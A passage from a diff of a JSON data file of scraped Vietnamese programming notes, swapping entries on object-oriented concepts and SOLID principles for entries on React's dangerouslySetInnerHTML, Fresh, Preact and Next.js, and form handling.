bản về lập trình hướng vật thể/Vật thể, lớp/Không cần biết vật thể chứa dữ liệu gì, chỉ cần quan tâm nó làm được gì", + "Tiêu đề": "Nếu truyền HTML làm giá trị biến thì cần dùng dangerouslySetInnerHTML, nếu không thì sẽ bị mã hoá hết", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Component, render, JSX/Nếu truyền HTML làm giá trị biến thì cần dùng dangerouslySetInnerHTML, nếu không thì sẽ bị mã hoá hết", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Thay vì ta thao túng trực tiếp dữ liệu, ta điều khiển vật thể qua phần giao tiếp của nó với bên ngoài]]\r\n[[Giao diện là cách để sử dụng vật thể mà không cần biết bên trong nó có gì]]\r\n[[Giao diện là cái khuôn của phương thức]]\r\nNguồn::![Pong & Object Oriented Programming - Computerphile - YouTube](https://youtu.be/KyTUN6_Z9TM)\r\n", + "Toàn bộ nội dung": "Ví dụ trong `routes/test.tsx`:\r\n```tsx\r\nimport { CSS, render } from \"https://deno.land/x/gfm/mod.ts\";\r\n\r\nconst markdown = `# Hello, world!`\r\n\r\nconst body = render(markdown, {\r\n baseUrl: \"https://example.com\",\r\n});\r\n\r\nexport default function a() {\r\n return <main>\r\n\t {body}\r\n </main>\r\n} \r\n```\r\nThì kết quả sẽ là:\r\n\r\n```html\r\n<main><h1 id="hello-world"><a class="anchor" aria-hidden="true" tabindex="-1" href="#hello-world"><svg class="octicon octicon-link" viewbox="0 0 16 16" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a>Hello, world!</h1></main>\r\n```\r\n\r\nNhưng nếu sử dụng:\r\n```tsx\r\nexport default function a() {\r\n return (\r\n <main dangerouslySetInnerHTML={{ __html: body }}>\r\n {body}\r\n </main>\r\n );\r\n}\r\n```\r\nthì kết quả trả về sẽ là:\r\n```html\r\n<main><h1 id=\"hello-world\"><a class=\"anchor\" aria-hidden=\"true\" tabindex=\"-1\" href=\"[#hello-world](view-source:http://localhost:8000/test#hello-world)\"><svg class=\"octicon octicon-link\" viewbox=\"0 0 16 16\" width=\"16\" height=\"16\" aria-hidden=\"true\"><path fill-rule=\"evenodd\" d=\"M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z\"></path></svg></a>Hello, world!</h1></main>\r\n```\r\n\r\nNguồn:: [dangerouslySetInnerHTML](https://tek4.vn/khoa-hoc/reactjs-tu-co-ban-den-nang-cao/dangerouslysetinnerhtml)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Vb" + "id": "ZJ" }, { - "Tiêu đề": "Lớp là một cái khuôn để tạo các vật thể cho nhanh", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Khái niệm cơ bản về lập trình hướng vật thể/Vật thể, lớp/Lớp là một cái khuôn để tạo các vật thể cho nhanh", + "Tiêu đề": "Render là quá trình chuyển đổi dữ liệu và code sang HTML", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Component, render, JSX/Render là quá trình chuyển đổi dữ liệu và code sang HTML", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "![](http://pytolearn.csd.auth.gr/p0-py/00/classcar.png) \r\nNguồn:: [pytypes](http://pytolearn.csd.auth.gr/p0-py/00/pytypes.html)\r\n```js\r\nconst xeMáy = new Xe('2 bánh')\r\nconst ôTô = new Xe('4 bánh')\r\nconst xeTải = new Xe('12 bánh')\r\n// ^ vật thể ^ Lớp\r\n```\r\n[[Hoạt động trung tâm của lập trình hướng vật thể là phân loại]] \r\nTương tự, [[Giao diện là cái khuôn của phương thức]]\r\n[[Phương thức là một thuộc tính của vật thể]]", + "Toàn bộ nội dung": "Nguồn:: ![10 Rendering Patterns for Web Apps - YouTube](https://youtu.be/Dkx5ydvtpCA?si=JTxuIyW_lFbuA4OB)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Vc" + "id": "ZK" }, { - "Tiêu đề": "Những vật thể đơn giản dùng để tra cứu dữ liệu theo từ khoá gọi là từ điển", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Khái niệm cơ bản về lập trình hướng vật thể/Vật thể, lớp/Những vật thể đơn giản dùng để tra cứu dữ liệu theo từ khoá gọi là từ điển", + "Tiêu đề": "Framework", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nếu tất cả thuộc tính của vật thể đều đơn giản, và vật thể được dùng để tra cứu dữ liệu theo từ khoá chứ không phải là để thao tác và thay đổi thuộc tính bằng phương thức, thì nó được gọi là từ điển\r\n\r\nVí dụ, khi khai báo [[Trấn Kỳ — Phân loại thu chi bằng tiếng Việt tự nhiên|Trấn Kỳ]] như sau:\r\n```yaml\r\nKhai báo:\r\n  - Tên chiều: Món đồ    \r\n    Dữ liệu tự nhận dạng:\r\n      - Thức ăn:\r\n          - bún bò\r\n          - bún riêu\r\n  - Tên chiều: Phương thức thanh toán\r\n    Dữ liệu tự nhận dạng:\r\n      - Tiền mặt\r\n          - nợn trả\r\n          - mèo trả\r\n```\r\nThì là bạn đang khai báo một vật thể bình thường. Vật thể này chứa dữ liệu. Để chương trình lấy được dữ liệu cần có, nó áp các phương thức lên vật thể này.\r\n\r\nTrong khi đó, khi chạy chương trình với câu nhập `bún bò cho con 50k nợn trả chợ` và ra được kết quả sau:\r\n```yaml\r\nMón đồ: 'bún bò'\r\nLoại món đồ: 'Thức ăn'\r\nPhương thức thanh toán: 'nợn trả'\r\nLoại phương thức thanh toán: 'Tiền mặt'\r\nNơi mua: 'chợ'\r\nLoại nơi mua: Offline\r\nNgười thụ hưởng: 'con'\r\nLoại người thụ hưởng: 'Gia đình'\r\nSố tiền: '50000'\r\nGhi chú: ''\r\n```\r\n\r\nThì mặc dù đây cũng là một vật thể, nhưng sự phức tạp của nó không còn giống như vật thể ở trên. Nó chỉ được dùng để tra dữ liệu, giống như bạn tra từ điển. Bạn không có ý định thay đổi giá trị trong nó. Nên loại vật thể này được gọi là từ điển.\r\n\r\n[[Python tách bạch từ điển và vật thể ngay từ đầu, còn JS mãi về sau mới có từ điển]]\r\n", + "Toàn bộ nội dung": "```dataview\r\nLIST rows.file.link\r\nFROM \"✍️Lập trình/Web/Framework\" \r\nWHERE file.name!=this.file.name\r\nGROUP BY split(file.folder, \"/\")[3]\r\n```\r\n\r\n![Every React Concept Explained in 12 Minutes - YouTube](https://www.youtube.com/watch?v=wIyHSOugGGw)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-08-25T07:20:00.000Z", + "Ngày tạo": "2024-01-12T10:36:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Vd" + "id": "ZL" }, { - "Tiêu đề": "Prototype là những thuộc tính không cần tạo ra cũng có sẵn", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Khái niệm cơ bản về lập trình hướng vật thể/Vật thể, lớp/Prototype là những thuộc tính không cần tạo ra cũng có sẵn", + "Tiêu đề": "form", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Fresh, Preact, React/form", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Vật thể được tạo nên bởi những thuộc tính]]\r\n", + "Toàn bộ nội dung": "Following up on this, there's also an intermediate approach if you use the `react-hook-form` library which is based on uncontrolled components, but does require state (being an island) due to its `useForm()` hook helper. So in this sense, we could say there's 3 approaches to forms: `uncontrolled -> uncontrolled+state -> stateful`. As Marvin says, I agree that one should always start with `uncontrolled` forms using only HTML. However, there might be cases when you need a bit more control, and that's where the middleground (`uncontrolled+state`) with a library like `react-hook-form` might come into play. For example, in my case, I needed to use PATCH/PUT to interact with my RESTful API and the native HTML `<form>` element only supports GET/POST, so I had to had an onSubmit handler (in an island), in which case you might as well use the `react-hook-form` wrapper which provides some nice features while keeping things uncontrolled👍.\r\n\r\nIn general, forms have been sort of a pain to deal with (primarily since `<form>` does not support all HTTP methods (for REST APIs), this lead to me prototyping an isomorphic `<FormFetch />` component (check out [the gist](https://gist.github.com/miguelrk/d3ffc311627586d3459fcc75fd7512e7 \"the gist\r\n(https://gist.github.com/miguelrk/d3ffc311627586d3459fcc75fd7512e7)\")), it's not an island, since client-side code is inlined in a `<script>` tag) which augments the HTML-native `<form>` to allow e.g.\r\n\r\n```tsx\r\n<FormFetch id=\"users.patch\" action={`/api/users/${user.id}`} method=\"patch\">\r\n```\r\n\r\nby preventing the form's default `submit` event handler, and making a `fetch` request instead (thus no dependencies. \r\n\r\nThis worked marvelously. @marvinh. would a built-in component like this e.g. `<Form />` (similar to e.g. `<Head >`) be interesting for fresh? This could be used as a component, no need to place it within an island, so ergonomics are I think great, and it relies only on HTML/Web APIs... In general, this could complement the incoming partials-based improvements for forms in fresh\r\n\r\nNguồn:: [Discord](https://discord.com/channels/684898665143206084/991511118524715139/1227505709391024198)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-27T10:16:00.000Z", + "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Ve" + "id": "ZM" }, { - "Tiêu đề": "Thay vì ta thao túng trực tiếp dữ liệu, ta điều khiển vật thể qua phần giao tiếp của nó với bên ngoài", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Khái niệm cơ bản về lập trình hướng vật thể/Vật thể, lớp/Thay vì ta thao túng trực tiếp dữ liệu, ta điều khiển vật thể qua phần giao tiếp của nó với bên ngoài", + "Tiêu đề": "Fresh dùng Preact cho UI", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Fresh, Preact, React/Fresh dùng Preact cho UI", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Phần giao tiếp (interface) đó sẽ gồm các phương thức. [[Vật thể ngoài tự nhiên không chứa hướng dẫn để sử dụng nó. Vật thể trong máy tính có hướng dẫn sử dụng nó]]\r\n[[Không cần biết vật thể chứa dữ liệu gì, chỉ cần quan tâm nó làm được gì]]\r\nNguồn::![Pong & Object Oriented Programming - Computerphile - YouTube](https://youtu.be/KyTUN6_Z9TM)", + "Toàn bộ nội dung": "[[Fresh đối với Preact cũng giống như Next.js đối với React. React với Preact cung cấp khả năng render (làm framework), còn Fresh hay Next xử lý những thứ còn lại (làm meta-framework)]]\r\n![[Preact chỉ là một thư viện render. Nó không có biết gì về server hay routing cả]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Vf" + "id": "ZN" }, { - "Tiêu đề": "Nếu tất cả thuộc tính của vật thể đều đơn giản, và vật thể được dùng để tra cứu dữ liệu theo từ khoá chứ không phải là để thao tác và thay đổi thuộc tính bằng phương thức, thì nó được gọi là từ điển", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Khái niệm cơ bản về lập trình hướng vật thể/Vật thể, lớp/Từ điển là vật thể được dùng để tra cứu dữ liệu theo từ khoá chứ không phải là để thao tác và thay đổi thuộc tính bằng phương thức", + "Tiêu đề": "Fresh và Astro đều cung cấp khả năng render island lần đầu tại server và những lần sau tại client", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Fresh, Preact, React/Fresh và Astro đều cung cấp khả năng render island lần đầu tại server và những lần sau tại client", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Ví dụ, khi khai báo [[Trấn Kỳ — Phân loại thu chi bằng tiếng Việt tự nhiên|Trấn Kỳ]] như sau:\r\n```yaml\r\nKhai báo:\r\n  - Tên chiều: Món đồ    \r\n    Dữ liệu tự nhận dạng:\r\n      - Thức ăn:\r\n          - bún bò\r\n          - bún riêu\r\n  - Tên chiều: Phương thức thanh toán\r\n    Dữ liệu tự nhận dạng:\r\n      - Tiền mặt\r\n          - nợn trả\r\n          - mèo trả\r\n```\r\nThì là bạn đang khai báo một vật thể bình thường. Vật thể này chứa dữ liệu. Để chương trình lấy được dữ liệu cần có, nó áp các phương thức lên vật thể này.\r\n\r\nTrong khi đó, khi chạy chương trình với câu nhập `bún bò cho con 50k nợn trả chợ` và ra được kết quả sau:\r\n```yaml\r\nMón đồ: 'bún bò'\r\nLoại món đồ: 'Thức ăn'\r\nPhương thức thanh toán: 'nợn trả'\r\nLoại phương thức thanh toán: 'Tiền mặt'\r\nNơi mua: 'chợ'\r\nLoại nơi mua: Offline\r\nNgười thụ hưởng: 'con'\r\nLoại người thụ hưởng: 'Gia đình'\r\nSố tiền: '50000'\r\nGhi chú: ''\r\n```\r\n\r\nThì mặc dù đây cũng là một vật thể, nhưng sự phức tạp của nó không còn giống như vật thể ở trên. Nó chỉ được dùng để tra dữ liệu, giống như bạn tra từ điển. Bạn không có ý định thay đổi giá trị trong nó. Nên loại vật thể này được gọi là từ điển.\r\n\r\n[[Python tách bạch từ điển và vật thể ngay từ đầu, còn JS mãi về sau mới có từ điển]]\r\n\r\n", + "Toàn bộ nội dung": "Chỉ có điều Astro là dùng trên Node, còn Fresh dùng trên Deno. Nếu Deno là lật ngược lại của Node thì Fresh cũng có thể xem là Troas\r\n\r\nNguồn:: [Discord](https://discord.com/channels/684898665143206084/991511118524715139/1201394893382221924)\r\n\r\n[[Route không bao giờ được gửi đến client. Island được chạy ở cả server và client]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-08-25T07:20:00.000Z", + "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Vg" + "id": "ZO" }, { - "Tiêu đề": "Việc đóng gói (encapsulation) giúp ta không cần quan tâm vật thể lưu dữ liệu thế nào, mà chỉ cần quan tâm tới thuộc tính và phương thức của nó", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Khái niệm cơ bản về lập trình hướng vật thể/Vật thể, lớp/Việc đóng gói (encapsulation) giúp ta không cần quan tâm vật thể lưu dữ liệu thế nào, mà chỉ cần quan tâm tới thuộc tính và phương thức của nó", + "Tiêu đề": "Fresh đối với Preact cũng giống như Next.js đối với React. React với Preact cung cấp khả năng render (làm framework), còn Fresh hay Next xử lý những thứ còn lại (làm meta-framework)", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Fresh, Preact, React/Fresh đối với Preact cũng giống như Next.js đối với React. React với Preact cung cấp khả năng render (làm framework), còn Fresh hay Next xử lý những thứ còn lại (làm meta-framework)", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Việc hiển thị nội dung dữ liệu như thế nào là do công cụ quyết định, không phải ngôn ngữ quyết định]]\r\n[[4 đặc điểm của lập trình hướng vật thể]]\r\n[[Giao diện là cách để sử dụng vật thể mà không cần biết bên trong nó có gì]]", + "Toàn bộ nội dung": "Fresh is a website framework designed to be used with Deno\r\nPreact is essentially a reactive rendering library\r\nPreact can be used seperately to Fresh\r\nThe relationship between Next.JS and React is the same as the relationship between Fresh and Preact \r\n\r\nPreact is just a rendering library and only concerns itself with getting stuff on the screen as fast as possible. It doesn't do routing or any of those other concerns an app typically needs. That's where Fresh comes in. The export default from a route file tells Fresh's file based router that this is a route that you want to use. Then when you go to a route, Fresh basically calls Preact's render() function to render the HTML, so you don't need to do that yourself when working in Fresh \r\n\r\nFor simple sites there isn't reall much Preact specific stuff to learn other than that you can compose parts of the HTML by creating functions that return JSX like\r\n```js\r\nfunction Foo() {\r\n return <p>Hello world</p>\r\n}\r\n\r\nexport default function Page() {\r\n return <div>\r\n <Foo />\r\n </div>\r\n}\r\n```\r\nThis concept alone gets you pretty far.\r\n\r\nIn my opinion there is no need to learn Preact before Fresh. That's pointless. Build a site with Fresh and you'll pick up enough Preact knowledge while doing that already\r\n\r\nNguồn:: [Discord](https://discord.com/channels/684898665143206084/991511118524715139/1192090620198662144)\r\n[[Fresh dùng Preact cho UI]]\r\n\r\n| Framework | Meta Framework |\r\n| --------- | ------------------------- |\r\n| Preact | Fresh |\r\n| React | Next.js, Remix, Gatsby... |\r\n| Vue | Nuxt |\r\n| Svelte | SvelteKit |\r\n| Solid | SolidStart | \r\nNguồn:: [unable to use preact context in fresh · Issue #983 · denoland/fresh · GitHub](https://github.com/denoland/fresh/issues/983#issuecomment-1891656732)\r\n\r\n[[React được sinh ra để làm việc với trạng thái]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-08-25T07:20:00.000Z", + "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Vh" + "id": "ZP" }, { - "Tiêu đề": "Vật thể ngoài tự nhiên không chứa hướng dẫn để sử dụng nó. Vật thể trong máy tính có hướng dẫn sử dụng nó", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Khái niệm cơ bản về lập trình hướng vật thể/Vật thể, lớp/Vật thể ngoài tự nhiên không chứa hướng dẫn để sử dụng nó. Vật thể trong máy tính có hướng dẫn sử dụng nó", + "Tiêu đề": "JS là để tăng trải nghiệm người dùng. Framework là để tăng trải nghiệm lập trình viên", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Fresh, Preact, React/JS là để tăng trải nghiệm người dùng. Framework là để tăng trải nghiệm lập trình viên", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Phương thức phải gắn lên một vật thể cụ thể nào đó để có tác dụng]]\r\n[[Thay vì ta thao túng trực tiếp dữ liệu, ta điều khiển vật thể qua phần giao tiếp của nó với bên ngoài]] \r\n", + "Toàn bộ nội dung": "Nguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Vi" + "id": "ZQ" }, { - "Tiêu đề": "Vật thể được tạo nên bởi những thuộc tính", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Khái niệm cơ bản về lập trình hướng vật thể/Vật thể, lớp/Vật thể được tạo nên bởi những thuộc tính", + "Tiêu đề": "Lịch sử phát triển framework JavaScript", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Fresh, Preact, React/Lịch sử phát triển framework JavaScript", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "![](https://youtu.be/BRSg22VacUA?si=vlnEtXMkzdZB2hE3) \n\n[[Từ điển là vật thể được dùng để tra cứu dữ liệu theo từ khoá chứ không phải là để thao tác và thay đổi thuộc tính bằng phương thức|Nếu tất cả thuộc tính của vật thể đều đơn giản, và vật thể được dùng để tra cứu dữ liệu theo từ khoá chứ không phải là để thao tác và thay đổi thuộc tính bằng phương thức, thì nó được gọi là từ điển]]\n[[Prototype là những thuộc tính không cần tạo ra cũng có sẵn]]\n[[Property nghĩa gốc là tài sản. Attribute nghĩa gốc là thêm vào]]", + "Toàn bộ nội dung": "![The past, current state & future of JavaScript frameworks - YouTube](https://youtu.be/5EsLj3JOdE0?si=ydCqkWbLypknVQW8)\r\n![How JavaScript Ruined the Web - YouTube](https://www.youtube.com/watch?v=gU-8U7Z-E64)\r\n\r\nXem thêm:: [[Lịch sử phát triển của JavaScript]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-08-25T07:20:00.000Z", - "Ngày cập nhật": "2024-08-31T14:07:00.000Z", - "id": "Vj" + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "ZR" }, { - "Tiêu đề": "Bộ nguyên lý SOLID giúp phần mềm dễ bảo trì, dễ mở rộng", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Nguyên lý/Bộ nguyên lý SOLID giúp phần mềm dễ bảo trì, dễ mở rộng", + "Tiêu đề": "Next.js, Remix, Gatsby là những framework mà chính React giới thiệu là nên dùng", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Fresh, Preact, React/Next.js, Remix, Gatsby là những framework mà chính React giới thiệu là nên dùng", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Bộ nguyên lý SOLID có vai trò rất quan trọng khi phát triển ứng dụng và được sử dụng phổ biến trong thiết kế và lập trình hướng đối tượng. Khi sử dụng hợp lý, bộ nguyên lý SOLID giúp phần mềm dễ bảo trì, dễ mở rộng. Lập trình viên chuyên nghiệp bắt buộc phải biết và vận dụng thành thạo các nguyên lý SOLID. Đây là bộ nguyên lý mà [sinh viên theo học các hướng/chuyên ngành phát triển ứng dụng cần biết](https://tuhocict.com/muon-thanh-lap-trinh-vien-nen-hoc-nhung-gi/). Bài viết này có mục tiêu giới thiệu bước đầu cho các bạn sinh viên các nguyên lý này để dần có ý thức áp dụng chúng khi code.\r\n\r\n## Giới thiệu chung về bộ nguyên lý SOLID\r\n\r\n![Bộ nguyên lý SOLID](https://tuhocict.com/wp-content/uploads/2019/06/B%E1%BB%99-nguy%C3%AAn-l%C3%BD-SOLID-300x169.png)\r\n\r\nKhi học lập trình hướng đối tượng (Object-Oriented Programming, OOP) trong trường, các bạn đều phải nắm chắc các _nguyên lý của OOP_. Các nguyên lý chính bao gồm tính trừu tượng (Abstraction), bao đóng (Encapsulation), đa hình (Polymorphism), kế thừa (Inheritance).\r\n\r\nSOLID, ở khía cạnh khác, lại là các _nguyên lý thiết kế_ trong OOP. Hiểu một cách đơn giản, các nguyên lý của OOP mô tả cách thức hoạt động, còn các nguyên lý SOLID mô tả cách thức vận dụng của OOP trong lập trình thực tế.\r\n\r\nViệc tuân thủ theo SOLID giúp thiết kế (và code) phần mềm dễ đọc, dễ test, uyển chuyển, dễ bảo trì. Bạn nên hiểu rằng [[Code phần mềm chỉ chiếm khoảng 1 phần 3 thời gian, còn lại là dành cho bảo trì (thêm bớt chức năng, fix lỗi, v.v.)|khâu code phần mềm chỉ chiếm khoảng 13 thời gian. Còn lại là dành cho khâu bảo trì (như thêm bớt chức năng, fix lỗi)]]. SOLID giúp ích cực lớn cho khâu này.\r\n\r\nCác nguyên lý SOLID khá khó tiêu đối với sinh viên hay thậm chí đối với lập trình viên mới vào nghề. Các [chương trình đào tạo đại học](https://tuhocict.com/xay-dung-chuong-trinh-tu-dao-tao-cong-nghe-thong-tin/) cũng thường chỉ dạy code và công nghệ chứ không chú trọng về cách vận dụng. Vì vậy, việc tự học các vấn đề này là vô cùng quan trọng đối với sinh viên theo các hướng/chuyên ngành liên quan đến phát triển ứng dụng. Việc hiểu và vận dụng SOLID cũng có thể được dùng để đo sự tiến bộ của bạn trên con đường lập trình viên.\r\n\r\nĐể nắm được SOLID, bạn bắt buộc phải nắm vững các nguyên lý và kỹ thuật lập trình hướng đối tượng của một ngôn ngữ nào đó. Nếu vẫn chưa rành về lập trình hướng đối tượng thì chưa vội đọc những nguyên lý SOLID làm gì (vì có đọc cũng chẳng hiểu).\r\n\r\n## Các nguyên lý SOLID\r\n\r\nSOLID là cách gọi tắt của một bộ năm nguyên lý sau:\r\n\r\n- S (SRP) – [Single Responsibility principle](https://en.wikipedia.org/wiki/Single_responsibility_principle)\r\n- O (OCP) – [Open-Closed principle](https://en.wikipedia.org/wiki/Open%E2%80%93closed_principle)\r\n- L (LSP) – [Liskov Substitution principle](https://en.wikipedia.org/wiki/Liskov_substitution_principle)\r\n- I (ISP) – [Interface Segregation principle](https://en.wikipedia.org/wiki/Interface_segregation_principle)\r\n- D (DIP) – [Dependency Inversion principle](https://en.wikipedia.org/wiki/Dependency_inversion_principle)\r\n\r\nTên gọi các nguyên lý này khá khó dịch sang tiếng Việt. Vì vậy ở đây chúng ta dùng nguyên bản tiếng Anh.\r\n\r\nSOLID không gắn với ngôn ngữ hoặc công nghệ cụ thể nào. Các nguyên lý SOLID là chung cho bất kỳ ngôn ngữ lập trình hướng đối tượng nào, dù là C#, Java hay C++. Tuy nhiên, cách thức thực hiện cụ thể sẽ phụ thuộc một phần vào các tính năng mà ngôn ngữ hỗ trợ.\r\n\r\nNói luôn là chúng ta sẽ không viết lại mô tả chính thức của các nguyên lý này như trong sách. Chúng ta sẽ cố diễn đạt nó bằng những từ ngữ đơn giản dễ hiểu. Các bạn cũng nên hiểu rằng đây là các _nguyên lý_, không phải _kỹ thuật_ cụ thể. Bạn hiểu nguyên lý để định hướng cho cách làm.\r\n\r\nNguồn:: [[tuhocict]], [Bộ nguyên lý SOLID - lập trình viên tương lai cần biết | Tự học ICT](https://tuhocict.com/bo-nguyen-ly-solid-lap-trinh-vien-tuong-lai-can-biet/)\r\n", + "Toàn bộ nội dung": "[[JS là để tăng trải nghiệm người dùng. Framework là để tăng trải nghiệm lập trình viên]]\r\nNguồn:: [Start a New React Project – React](https://react.dev/learn/start-a-new-react-project#building-with-a-full-featured-framework)\r\n[Unraveling the JavaScript Meta-Framework Ecosystem: Which One Is Right for You?](https://prismic.io/blog/javascript-meta-frameworks-ecosystem)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Vk" + "id": "ZS" }, { - "Tiêu đề": "Cái trừu tượng không nên phụ thuộc vào những cái cụ thể mà những cái cụ thể nên phụ thuộc vào cái trừu tượng", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Nguyên lý/Cái trừu tượng không nên phụ thuộc vào những cái cụ thể mà những cái cụ thể nên phụ thuộc vào cái trừu tượng", + "Tiêu đề": "Preact chỉ là một thư viện render. Nó không có biết gì về server hay routing cả", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Fresh, Preact, React/Preact chỉ là một thư viện render. Nó không có biết gì về server hay routing cả", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "## Nguyên lý DIP – Dependency Inversion Principle\n\nĐây là nguyên lý khó nhằn nhất của SOLID vì nó đi ngược lại cách hiểu thông thường các bạn được học trong lập trình hướng đối tượng.\n\n### Sự phụ thuộc giữa các class\n\nTrước hết cần hiểu thế nào là sự phụ thuộc (dependency) giữa các class.\n\nHiểu một cách đơn giản nhất, class B được gọi là phụ thuộc vào class A nếu trong code của B xuất hiện A (như khởi tạo, gọi phương thức, v.v.). Khi này, class A phải được xây dựng trước class B. B được xem là class _cấp cao_ hơn, A là class _cấp thấp_ hơn.\n\nNhư vậy, sự phụ thuộc tạo ra thứ tự xây dựng các class có liên quan. Các class phụ 